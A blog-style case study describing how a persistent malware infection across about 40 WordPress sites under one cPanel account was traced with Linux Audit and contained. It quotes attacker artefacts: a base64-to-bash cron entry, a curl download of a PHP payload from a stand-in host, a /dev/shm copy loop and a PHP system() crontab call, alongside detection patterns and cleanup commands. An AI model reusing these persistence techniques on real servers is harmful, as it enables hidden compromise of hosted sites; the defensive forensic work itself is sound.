|

WordPress Server Malware Case Study: Detection and Cleanup

WordPress Server Malware Case Study

I recently dealt with a persistent malware infection affecting dozens of WordPress websites hosted under a single cPanel account.

The affected sites were protected by Imunify360, ModSecurity, Wordfence and custom .htaccess rules. Standard WordPress permissions were also in place:

Directories: 750
Files:       644
wp-config:   600

Despite these measures, new files and directories continued to appear. Existing files were overwritten, wp-content permissions were changed, plugin files were reinfected, and custom robots.txt files were replaced.

This case study explains how the infection was traced using Linux Audit, how its persistence mechanism was identified, and how it was contained without suspending the cPanel account or taking all hosted websites offline.

All identifying details have been removed. Replace the following example values with your own:

cPanel account: exampleacct
Account path:   /home/exampleacct
Example site:   site-a.example
Second site:    site-b.example

The Initial Symptoms

The first indication of compromise was that unexpected files and directories were repeatedly appearing inside WordPress installations.

The attacker was also modifying permissions. For example, wp-content was changed to:

555

At first glance, making a directory read-only might appear defensive. In this case, however, it was likely being used to obstruct cleanup or conceal the attacker’s actions.

The attacker was also replacing custom robots.txt files.

The intended file looked similar to:

User-agent: *
Allow: /wp-content/uploads/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-admin/
Disallow: /readme.html
Disallow: /category/
Disallow: /tag/

Sitemap: https://site-a.example/post-sitemap1.xml

It was being replaced with:

User-agent: *
Disallow:

Sitemap: https://site-a.example/sitemap.xml

Another symptom was the appearance of suspicious index.php files inside plugin and upload directories.

Some index.php files are legitimate. Plugins often create small placeholder files containing something like:

<?php
// Silence is golden.

However, randomly nested index.php files containing executable code, encoded strings or request handling must be investigated.


Why Normal File Permissions Did Not Stop the Infection

Permissions such as 750 for directories and 644 for files do not prevent the owner from writing to them.

For example:

Directory 750:
Owner: rwx
Group: r-x
Other: ---

File 644:
Owner: rw-
Group: r--
Other: r--

On many cPanel servers, PHP-FPM executes WordPress PHP files as the cPanel account owner.

That means compromised PHP running under:

exampleacct

can write to other files and directories owned by:

exampleacct

When multiple WordPress installations share one cPanel account, a compromise in one website can spread to every other website owned by the same Unix user.

This is why changing files from 644 to 444, or directories from 750 to 550, is not always a complete defence. If the malicious process runs as the owner, it may simply change the permissions again.


Installing and Enabling Linux Audit

The key breakthrough came from using Linux Audit to record filesystem activity and process execution.

On AlmaLinux, Rocky Linux or another RHEL-compatible system:

dnf install -y audit
systemctl enable --now auditd

Check the service:

systemctl status auditd

Audit rules can be listed with:

auditctl -l

Audit status can be checked with:

auditctl -s

Important fields include:

enabled
lost
backlog
backlog_limit

The lost value should not continually increase. If it does, the audit configuration may be generating more events than the service can process.


Adding an Account-Wide Filesystem Watch

To monitor every write and attribute change beneath the affected cPanel account, I created an account-wide audit rule:

cat > /etc/audit/rules.d/example-account.rules <<'EOF'
-w /home/exampleacct -p wa -k example_account
EOF

Load the rule:

augenrules --load

Confirm it:

auditctl -l | grep example_account

Expected output:

-w /home/exampleacct -p wa -k example_account

The permissions used in the rule are:

w = write activity
a = attribute changes

This records activity such as:

  • New file creation
  • File deletion
  • Directory creation
  • Directory deletion
  • File overwrites
  • Renames
  • chmod
  • chown
  • Timestamp changes

An account containing many active WordPress websites can generate a large volume of audit records, so this rule is best used during an investigation rather than indefinitely.


Reading the Audit Results

Recent events can be viewed with:

ausearch -k example_account -ts recent -i | less

Today’s events:

ausearch -k example_account -ts today -i | less

Search for a particular filename:

ausearch -k example_account -ts today -i |
grep -B20 -A30 'robots.txt'

Search for suspicious index.php activity:

ausearch -k example_account -ts today -i |
grep -B20 -A30 'index.php'

Search for changes involving wp-content:

ausearch -k example_account -ts today -i |
grep -B20 -A30 'wp-content'

The First Major Discovery

The account-wide audit immediately caught repeated commands similar to:

cp /dev/shm/payload.tmp /home/exampleacct/site-a.example/wp-content/plugins/plugin-a/path/index.php

and:

cp /dev/shm/payload.tmp /home/exampleacct/site-b.example/wp-content/plugins/plugin-b/path/index.php

The audit record showed:

comm=cp
exe=/usr/bin/cp
uid=exampleacct
auid=unset
tty=(none)
success=yes

This established several facts:

  1. A payload was stored in /dev/shm.
  2. It was repeatedly copied into legitimate plugin directories.
  3. The copies ran as the cPanel account user.
  4. The activity was automated rather than interactive.
  5. More than one WordPress website was being targeted.

The plugin filenames were not themselves evidence that those plugins caused the infection. The attacker was selecting existing plugin locations as hiding places.


Understanding /dev/shm

/dev/shm is a temporary memory-backed filesystem used for shared memory.

It is writable by normal users and is commonly mounted with permissions similar to:

drwxrwxrwt

The trailing t is the sticky bit. It means users cannot normally delete another user’s files, even though the directory is writable.

Attackers frequently use locations such as:

/dev/shm
/tmp
/var/tmp

because they are writable and may receive less attention than website directories.


Preserving and Blocking the Payload

Before deleting the payload, I preserved a forensic copy.

CASE="/root/example-forensics-$(date +%F-%H%M%S)"
mkdir -p "$CASE"

Preserve its metadata and hashes:

if [ -e /dev/shm/payload.tmp ]; then
    stat /dev/shm/payload.tmp > "$CASE/payload-stat.txt"
    sha256sum /dev/shm/payload.tmp > "$CASE/payload-sha256.txt"
    file /dev/shm/payload.tmp > "$CASE/payload-filetype.txt"

    cp -a /dev/shm/payload.tmp "$CASE/payload.copy"
    mv /dev/shm/payload.tmp "$CASE/payload.original"

    mkdir /dev/shm/payload.tmp
    chown root:root /dev/shm/payload.tmp
    chmod 000 /dev/shm/payload.tmp
fi

Verify the blocker:

ls -ld /dev/shm/payload.tmp

Expected:

d--------- 2 root root ... /dev/shm/payload.tmp

The attacker’s copy commands expected /dev/shm/payload.tmp to be a file.

Replacing it with a root-owned inaccessible directory prevented the compromised account from recreating a file at that exact pathname.

The forensic evidence was then secured:

CASE=$(ls -dt /root/example-forensics-* | head -1)

chown -R root:root "$CASE"
chmod 700 "$CASE"
find "$CASE" -type f -exec chmod 600 {} +

Finding the Persistent Copy Loops

The audit output contained parent process IDs for the malicious cp commands.

The processes were inspected with:

ps -o user,pid,ppid,lstart,etime,stat,cmd \
    -p <PID1>,<PID2>,<PID3>

The result revealed commands similar to:

sh -c while sleep 0.1; do
    cp /dev/shm/payload.tmp /home/exampleacct/site-a.example/wp-content/plugins/plugin-a/path/index.php
done

The loops were running every tenth of a second.

Their parent process ID was:

PPID 1

This meant the processes were orphaned. Their original launcher had exited, and they had been adopted by the system’s init process.

It did not mean that PID 1 created the malware.


Freezing the Processes Before Killing Them

Before terminating suspicious processes, it can be useful to freeze them and capture information from /proc.

PIDS="<PID1> <PID2> <PID3>"

for PID in $PIDS; do
    if [ -d "/proc/$PID" ]; then
        kill -STOP "$PID"
        pkill -STOP -P "$PID" 2>/dev/null || true
        echo "Frozen PID $PID"
    fi
done

Information that can be preserved includes:

CASE=$(ls -dt /root/example-forensics-* | head -1)
REPORT="$CASE/suspicious-processes.txt"

: > "$REPORT"

for PID in $PIDS; do
    {
        echo
        echo "============================================================"
        echo "PID: $PID"

        if [ ! -d "/proc/$PID" ]; then
            echo "Process no longer exists"
            continue
        fi

        echo "--- Process ---"
        ps -ww -o user,pid,ppid,pgid,sid,lstart,etime,stat,cmd -p "$PID"

        echo "--- Command line ---"
        tr '\0' ' ' < "/proc/$PID/cmdline"
        echo

        echo "--- Executable ---"
        readlink -f "/proc/$PID/exe"

        echo "--- Working directory ---"
        readlink -f "/proc/$PID/cwd"

        echo "--- Status ---"
        cat "/proc/$PID/status"

        echo "--- Cgroup ---"
        cat "/proc/$PID/cgroup"

        echo "--- Environment ---"
        tr '\0' '\n' < "/proc/$PID/environ"

        echo "--- File descriptors ---"
        ls -la "/proc/$PID/fd"
    } >> "$REPORT" 2>&1
done

chmod 600 "$REPORT"

After collecting the information, terminate the processes:

for PID in $PIDS; do
    pkill -KILL -P "$PID" 2>/dev/null || true
    kill -KILL "$PID" 2>/dev/null || true
done

Confirm that they are gone:

ps -o user,pid,ppid,lstart,etime,stat,cmd \
    -p <PID1>,<PID2>,<PID3>

Search for additional copies:

ps -eo user,pid,ppid,lstart,etime,stat,args |
grep -E 'sh -c while sleep 0\.1.*cp /dev/shm/payload\.tmp' |
grep -v grep

No output is expected.


Why I Did Not Suspend the Entire cPanel Account

The affected cPanel account hosted approximately 40 live WordPress websites.

Suspending the account would have taken all of them offline.

Killing every process owned by the account would also have interrupted legitimate PHP-FPM workers and active requests.

Instead, I used targeted containment:

  • Blocked the known /dev/shm payload path
  • Killed only the identified malicious shell loops
  • Removed the malicious cron entry
  • Blocked the known downloader destination
  • Kept account-wide filesystem and command auditing active
  • Repaired affected WordPress installations individually

Suspending an account is still the safest response when practical. However, on a multi-site account where uptime must be maintained, targeted containment may be necessary.

That approach carries more risk and requires continuous monitoring.


Auditing Commands Executed by the Account

Filesystem monitoring identified what was being changed, but I also needed to know which commands were being executed.

First, obtain the account UID:

FUID=$(id -u exampleacct)
echo "$FUID"

Create execution audit rules:

cat > /etc/audit/rules.d/example-exec.rules <<EOF
-a always,exit -F arch=b64 -S execve -F uid=$FUID -k example_exec
-a always,exit -F arch=b32 -S execve -F uid=$FUID -k example_exec
EOF

Load them:

augenrules --load

Confirm:

auditctl -l | grep example_exec

Read recent commands:

ausearch -k example_exec -ts recent -i | less

Search for suspicious commands:

ausearch -k example_exec -ts recent -i |
grep -B15 -A30 -Ei \
'/dev/shm|comm=(sh|bash|cp|curl|wget|php|python|perl)|proctitle=.*(cp|curl|wget)'

The Second Major Discovery: A Malicious Cron Job

The execution audit captured a command chain similar to:

/usr/local/cpanel/bin/jailshell -c \
'echo <BASE64_ENCODED_COMMAND> | base64 -d | bash'

It then launched:

base64 -d
bash
curl

The decoded command downloaded a PHP payload into the root of one WordPress website:

curl -o /home/exampleacct/site-c.example/security-plugin.php \
https://example.invalid/path/payload

The audit records also showed:

sendmail -FCronDaemon

That was important because it confirmed the command was being launched by cron.

The account’s crontab contained:

SHELL="/usr/local/cpanel/bin/jailshell"
* * * * * echo <BASE64_ENCODED_COMMAND> | base64 -d | bash

This ran every minute.


Did the Attacker Use SSH?

The presence of jailshell did not prove that the attacker logged in through SSH.

The crontab explicitly set:

SHELL="/usr/local/cpanel/bin/jailshell"

Cron therefore used cPanel’s jailed shell as its command interpreter.

The execution chain was:

crond
  ??? switches to the cPanel account user
      ??? launches jailshell
          ??? launches bash
              ??? launches curl

No interactive password was required.

A cron job already installed for a Unix user runs automatically as that user.

Changing the cPanel password does not:

  • Delete existing cron jobs
  • Stop existing processes
  • Remove malware files
  • Disable stolen sessions
  • Remove SSH keys
  • Revoke cPanel API tokens
  • Change WordPress administrator passwords
  • Change database credentials
  • Replace WordPress security salts

The malicious audit events showed:

tty=(none)

An interactive SSH session would more commonly show:

tty=pts0
tty=pts1
exe=/usr/sbin/sshd

To check for actual SSH activity:

grep -Ei \
'Accepted (password|publickey).*exampleacct|session opened for user exampleacct|Failed password.*exampleacct' \
/var/log/secure* 2>/dev/null |
tail -n 300

Successful SSH logins normally appear as:

Accepted password for exampleacct from 192.0.2.10

or:

Accepted publickey for exampleacct from 192.0.2.10

Authorised SSH keys should also be inspected:

ls -la /home/exampleacct/.ssh 2>/dev/null

if [ -f /home/exampleacct/.ssh/authorized_keys ]; then
    nl -ba /home/exampleacct/.ssh/authorized_keys
    stat /home/exampleacct/.ssh/authorized_keys
fi

The evidence in this incident proved cron execution, but it did not prove how the cron entry was originally installed.

Possible routes included:

  • Compromised WordPress PHP
  • A malicious plugin or theme
  • A web shell
  • A stolen cPanel session
  • A cPanel API token
  • An SSH key
  • An older stolen password
  • Cross-site infection from another WordPress installation under the account

The most likely route was compromised PHP running as the cPanel account user.

A PHP shell can execute commands such as:

<?php
system('crontab /path/to/malicious-crontab');

Because PHP-FPM already runs as the account owner, no password is required.


Preserving and Removing the Malicious Crontab

Before removing the crontab, preserve it:

CASE=$(ls -dt /root/example-forensics-* | head -1)

crontab -u exampleacct -l \
    > "$CASE/account-crontab-before-removal.txt" 2>&1

Preserve the spool copy:

if [ -f /var/spool/cron/exampleacct ]; then
    cp -a /var/spool/cron/exampleacct \
        "$CASE/account-crontab-spool-copy"
fi

Secure the evidence:

chown -R root:root "$CASE"
chmod 700 "$CASE"
find "$CASE" -type f -exec chmod 600 {} +

Display the saved crontab:

nl -ba "$CASE/account-crontab-before-removal.txt"

Remove the live crontab:

crontab -u exampleacct -r

Verify:

crontab -u exampleacct -l

Expected:

no crontab for exampleacct

To temporarily prevent the account from creating another user crontab:

echo "exampleacct" >> /etc/cron.deny
sort -u /etc/cron.deny -o /etc/cron.deny
chmod 600 /etc/cron.deny

This is containment, not a complete solution. Malware with sufficient command execution may still attempt other forms of persistence.


Auditing Future Crontab Changes

Add a watch on the cron spool:

cat > /etc/audit/rules.d/example-crontab.rules <<'EOF'
-w /var/spool/cron -p wa -k example_crontab
EOF

Load it:

augenrules --load

Confirm:

auditctl -l | grep example_crontab

Monitor:

ausearch -k example_crontab -ts recent -i

A future attempt may show:

comm=crontab
exe=/usr/bin/crontab
uid=exampleacct

The parent process may help determine whether it came from PHP-FPM, a shell or a control-panel process.


Quarantining the Downloaded PHP File

The malicious downloader created a file with a name designed to resemble a security plugin.

A legitimate security plugin normally resides under:

wp-content/plugins/plugin-name/

A suspicious root-level file such as:

/home/exampleacct/site-c.example/security-plugin.php

should be preserved and quarantined.

CASE=$(ls -dt /root/example-forensics-* | head -1)
MALWARE="/home/exampleacct/site-c.example/security-plugin.php"

if [ -f "$MALWARE" ]; then
    stat "$MALWARE" > "$CASE/downloaded-php-stat.txt"
    sha256sum "$MALWARE" > "$CASE/downloaded-php-sha256.txt"
    file "$MALWARE" > "$CASE/downloaded-php-filetype.txt"

    cp -a "$MALWARE" "$CASE/downloaded-php.payload"
    chown root:root "$CASE/downloaded-php.payload"
    chmod 600 "$CASE/downloaded-php.payload"

    chattr -i "$MALWARE" 2>/dev/null || true
    rm -f "$MALWARE"
fi

To block the exact pathname:

mkdir -p "$MALWARE"
chown root:root "$MALWARE"
chmod 000 "$MALWARE"
chattr +i "$MALWARE"

Verify:

ls -ld "$MALWARE"
lsattr -d "$MALWARE"

Protecting robots.txt With the Immutable Attribute

The physical robots.txt file was being deleted and recreated.

After restoring the desired content:

ROBOTS="/home/exampleacct/site-a.example/robots.txt"

chattr -i "$ROBOTS" 2>/dev/null || true

cat > "$ROBOTS" <<'EOF'
User-agent: *
Allow: /wp-content/uploads/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-admin/
Disallow: /readme.html
Disallow: /category/
Disallow: /tag/

Sitemap: https://site-a.example/post-sitemap1.xml
EOF

Set root ownership and make it immutable:

chown root:root "$ROBOTS"
chmod 644 "$ROBOTS"
chattr +i "$ROBOTS"

Verify:

ls -l "$ROBOTS"
lsattr "$ROBOTS"

Expected output contains i:

----i---------e------- /home/exampleacct/site-a.example/robots.txt

The web server can still read the file, but normal PHP running as the cPanel account cannot modify or delete it.

Test the public response:

curl -ksS \
    -H 'Cache-Control: no-cache' \
    "https://site-a.example/robots.txt?check=$(date +%s)"

To edit the file later:

chattr -i "$ROBOTS"

After editing:

chattr +i "$ROBOTS"

Locking WordPress Core and Plugin Files

The immutable attribute can also protect code that should not normally change.

For one website:

SITE="/home/exampleacct/site-a.example"

chattr -R +i "$SITE/wp-admin"
chattr -R +i "$SITE/wp-includes"

for DIR in plugins themes mu-plugins; do
    if [ -e "$SITE/wp-content/$DIR" ]; then
        chattr -R +i "$SITE/wp-content/$DIR"
    fi
done

Do not recursively make all of wp-content immutable. WordPress still needs to write to locations such as:

wp-content/uploads
wp-content/cache
wp-content/upgrade
wp-content/languages
wp-content/wflogs

Unlock code before legitimate updates:

chattr -R -i "$SITE/wp-admin"
chattr -R -i "$SITE/wp-includes"

for DIR in plugins themes mu-plugins; do
    if [ -e "$SITE/wp-content/$DIR" ]; then
        chattr -R -i "$SITE/wp-content/$DIR"
    fi
done

Apply the locks again after updating.


Blocking PHP Execution in Uploads

Media upload directories must remain writable, but PHP should not execute from them.

On an Apache/cPanel server, a server-level configuration can be used:

cat > /etc/apache2/conf.d/zz-no-upload-php.conf <<'EOF'
<DirectoryMatch "^/home/[^/]+/[^/]+/wp-content/uploads(?:/|$)">
    Options -ExecCGI

    <FilesMatch "\.(?i:php[0-9]*|phtml|phar|cgi|pl|py|sh)$">
        Require all denied
    </FilesMatch>
</DirectoryMatch>
EOF

Secure the configuration:

chown root:root /etc/apache2/conf.d/zz-no-upload-php.conf
chmod 600 /etc/apache2/conf.d/zz-no-upload-php.conf

Test Apache:

apachectl configtest

Restart it:

/usr/local/cpanel/scripts/restartsrv_httpd

Test using a harmless file:

UPLOAD="/home/exampleacct/site-a.example/wp-content/uploads/security-test.php"

printf '%s\n' '<?php echo "PHP EXECUTED";' > "$UPLOAD"
chown exampleacct:exampleacct "$UPLOAD"
chmod 644 "$UPLOAD"

Request it:

curl -k -i \
"https://site-a.example/wp-content/uploads/security-test.php"

It should return 403 Forbidden.

Remove the test:

rm -f "$UPLOAD"

If Nginx, Engintron or another reverse proxy is in use, test through the public HTTPS URL to confirm that PHP execution is blocked at every layer.


Finding PHP Files in Upload Directories

Search for executable files under uploads:

find /home/exampleacct \
    -xdev \
    -type f \
    -path '*/wp-content/uploads/*' \
    \( -iname '*.php' \
       -o -iname '*.php[0-9]' \
       -o -iname '*.phtml' \
       -o -iname '*.phar' \) \
    -printf '%TY-%Tm-%Td %TH:%TM:%TS %u:%g %m %s %p\n' |
sort

Do not automatically delete every index.php.

Common legitimate placeholders include:

wp-content/uploads/index.php
wp-content/uploads/plugin-temp-directory/index.php

Inspect their content:

find /home/exampleacct \
    -xdev \
    -type f \
    -path '*/wp-content/uploads/*' \
    -name 'index.php' \
    -print0 |
while IFS= read -r -d '' FILE; do
    echo
    echo "============================================================"
    stat -c 'Size=%s Mode=%a Modified=%y File=%n' "$FILE"
    sha256sum "$FILE"
    sed -n '1,40p' "$FILE"
done

Suspicious indicators include:

eval(
base64_decode(
gzinflate(
shell_exec(
system(
exec(
passthru(
proc_open(
file_put_contents(
$_POST
$_GET
$_REQUEST
$_COOKIE

Search for them:

grep -RInE \
'eval[[:space:]]*\(|base64_decode[[:space:]]*\(|gzinflate[[:space:]]*\(|shell_exec[[:space:]]*\(|passthru[[:space:]]*\(|system[[:space:]]*\(|exec[[:space:]]*\(|proc_open[[:space:]]*\(|file_put_contents[[:space:]]*\(|\$_(POST|GET|REQUEST|COOKIE)' \
/home/exampleacct/*/wp-content/uploads 2>/dev/null

Finding Every Copy of a Known Payload

If the malicious payload has been preserved, use its SHA-256 hash and file size to locate identical copies:

CASE=$(ls -dt /root/example-forensics-* | head -1)
PAYLOAD="$CASE/payload.copy"

HASH=$(sha256sum "$PAYLOAD" | awk '{print $1}')
SIZE=$(stat -c '%s' "$PAYLOAD")

Search the account:

find /home/exampleacct \
    -xdev -type f -size "${SIZE}c" -print0 |
while IFS= read -r -d '' FILE; do
    FILE_HASH=$(sha256sum "$FILE" 2>/dev/null | awk '{print $1}')

    if [ "$FILE_HASH" = "$HASH" ]; then
        printf '%s\n' "$FILE"
    fi
done

Every exact match should be considered compromised.

When a plugin file has been overwritten, reinstall the entire plugin from a trusted package rather than replacing only the visible malicious file.


Searching for Other Persistence

Search common cron locations:

grep -RInsE \
    --binary-files=without-match \
    'raw\.githubusercontent\.com|base64[[:space:]]+-d|/dev/shm|while[[:space:]]+sleep|curl|wget' \
    /var/spool/cron \
    /etc/crontab \
    /etc/cron.d \
    /etc/cron.hourly \
    /etc/cron.daily \
    /etc/cron.weekly \
    /etc/cron.monthly 2>/dev/null

Search the affected account:

grep -RInsE \
    --binary-files=without-match \
    --exclude='error_log' \
    --exclude='*.log' \
    '/dev/shm|base64[[:space:]]+-d|raw\.githubusercontent\.com|while[[:space:]]+sleep' \
    /home/exampleacct 2>/dev/null

Search temporary locations:

find /dev/shm /tmp /var/tmp \
    -user exampleacct \
    -printf '%TY-%Tm-%Td %TH:%TM:%TS %m %u:%g %s %p\n' \
    2>/dev/null |
sort

Find deleted files still held open:

lsof -nP +L1 |
grep exampleacct

Check current account processes:

ps -u exampleacct \
    -o user,pid,ppid,lstart,etime,stat,cmd \
    --forest

Search for suspicious command lines:

ps -eo user,pid,ppid,lstart,etime,stat,args |
grep -E '/dev/shm|base64 -d|raw\.githubusercontent|while sleep|curl|wget' |
grep -v grep

Reinstalling WordPress Components

After persistence has been removed:

  1. Replace WordPress core files with clean official copies.
  2. Reinstall every affected plugin.
  3. Reinstall active themes from trusted packages.
  4. Inspect mu-plugins.
  5. Inspect wp-content/uploads.
  6. Inspect the document root for unexpected PHP files.
  7. Verify .htaccess.
  8. Verify .user.ini.
  9. Check for auto_prepend_file.
  10. Rotate WordPress salts and credentials.

Search for dangerous PHP configuration:

find /home/exampleacct \
    -xdev \
    -type f \
    \( -name '.user.ini' \
       -o -name 'php.ini' \
       -o -name '.htaccess' \) \
    -print0 |
xargs -0 -r grep -HniE \
'auto_prepend_file|auto_append_file|allow_url_include'

Verify WordPress core with WP-CLI:

wp core verify-checksums \
    --path="/home/exampleacct/site-a.example" \
    --allow-root

Re-download core without touching wp-content or wp-config.php:

wp core download \
    --force \
    --skip-content \
    --path="/home/exampleacct/site-a.example" \
    --allow-root

Plugin checksum verification may also be available:

wp plugin verify-checksums --all \
    --path="/home/exampleacct/site-a.example" \
    --allow-root

Not every commercial or custom plugin has public checksums, so checksum warnings must be interpreted carefully.


Credentials That Should Be Rotated

Changing only the cPanel password is not enough.

Rotate or revoke:

  • cPanel password
  • FTP passwords
  • SSH keys
  • cPanel API tokens
  • WordPress administrator passwords
  • WordPress application passwords
  • Database passwords
  • WordPress security salts
  • External deployment credentials
  • MainWP credentials
  • Backup service credentials
  • Any password reused elsewhere

Generate new WordPress salts and replace the values in wp-config.php.

Review WordPress administrator accounts:

wp user list \
    --role=administrator \
    --path="/home/exampleacct/site-a.example" \
    --allow-root

Remove unknown accounts immediately.


Monitoring After Cleanup

Keep the execution audit active temporarily:

ausearch -k example_exec -ts recent -i | less

Watch for:

bash
sh
curl
wget
base64
cp
chmod
chown
crontab
php
python
perl

Monitor account-wide file changes:

ausearch -k example_account -ts recent -i | less

Generate an executable report:

ausearch -k example_account -ts today --raw |
aureport -x -i |
less

Generate a file report:

ausearch -k example_account -ts today --raw |
aureport -f -i |
less

Check audit health:

auditctl -s

If the account-wide watch creates too much activity or increases the lost counter, remove it after the investigation:

auditctl -W /home/exampleacct \
    -p wa \
    -k example_account

Remove the persistent rule:

rm -f /etc/audit/rules.d/example-account.rules
augenrules --load

Narrow watches on sensitive files such as robots.txt, crontabs and important configuration files may be kept longer.


The Infection Chain

The complete infection chain discovered during this incident was:

Compromised website or account-level process
    ?
Malicious user cron entry
    ?
cPanel jailshell
    ?
Base64-decoded Bash command
    ?
curl downloads PHP malware
    ?
Payload written into /dev/shm
    ?
Orphaned shell loops run every 0.1 seconds
    ?
Payload repeatedly copied into legitimate plugin directories
    ?
Multiple WordPress installations reinfected

The audit trail proved the active mechanisms. It did not conclusively prove the original vulnerability that first allowed the attacker to add the cron job.


Lessons Learned

1. File permissions alone are not enough

When PHP runs as the same Unix owner as the files, compromised PHP can modify anything that account owns.

2. Multiple sites under one account share risk

One vulnerable website can compromise every website under the same cPanel user.

For strong isolation, place important sites or smaller groups of sites in separate cPanel accounts.

3. A changed password does not remove persistence

Existing cron jobs, PHP shells, API tokens, SSH keys and running processes continue working after a password change.

4. Security-plugin filenames can be camouflage

A root-level file named after a recognised security product is not automatically legitimate.

5. Linux Audit can reveal the exact process

Audit records can show:

command
executable
UID
audit UID
PID
parent PID
working directory
target path
success or failure

That evidence is often more valuable than repeatedly deleting suspicious files.

6. Preserve evidence before deleting malware

Record:

stat output
SHA-256 hash
file type
process details
crontab contents
audit records

This helps identify identical copies and reconstruct the attack.

7. Remove persistence before repairing files

Replacing WordPress core or reinstalling plugins will not help if a cron job or background loop immediately reinfects them.

The correct order is:

Observe
Preserve
Contain
Remove persistence
Terminate malicious processes
Repair files
Rotate credentials
Monitor

Final Checklist

Before considering the incident closed, verify:

[ ] Malicious crontab removed
[ ] Cron creation temporarily restricted or audited
[ ] Malicious shell loops terminated
[ ] /dev/shm payload preserved and blocked
[ ] Downloaded root-level PHP payload removed
[ ] Exact payload copies located
[ ] Affected plugins reinstalled
[ ] WordPress core checksums verified
[ ] Upload directories checked for PHP
[ ] PHP execution blocked in uploads
[ ] robots.txt restored and protected
[ ] .user.ini and auto_prepend_file checked
[ ] Unknown administrators removed
[ ] WordPress salts rotated
[ ] cPanel password changed
[ ] FTP credentials changed
[ ] SSH keys reviewed
[ ] cPanel API tokens revoked
[ ] Database passwords rotated
[ ] Audit rules retained during monitoring
[ ] Audit lost counter remains stable
[ ] No new suspicious executions detected

Conclusion

The most important lesson from this incident was that repeatedly deleting malicious files was not enough.

The files kept returning because an automated persistence mechanism remained active.

Linux Audit exposed the actual behaviour:

  • A malicious cron job ran every minute.
  • cPanel’s jailshell was used as the cron interpreter.
  • A Base64-encoded command downloaded a PHP payload.
  • The payload was stored in /dev/shm.
  • Orphaned shell loops copied it into WordPress plugin directories every tenth of a second.

Once those mechanisms were identified, the infection could be contained without taking all hosted websites offline.

The commands in this case study should be adapted carefully to the server being investigated. Always preserve evidence before deletion, test commands on one site first, maintain current backups and avoid running destructive commands against paths that have not been independently verified.

The article is formatted for direct pasting into the WordPress block editor.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *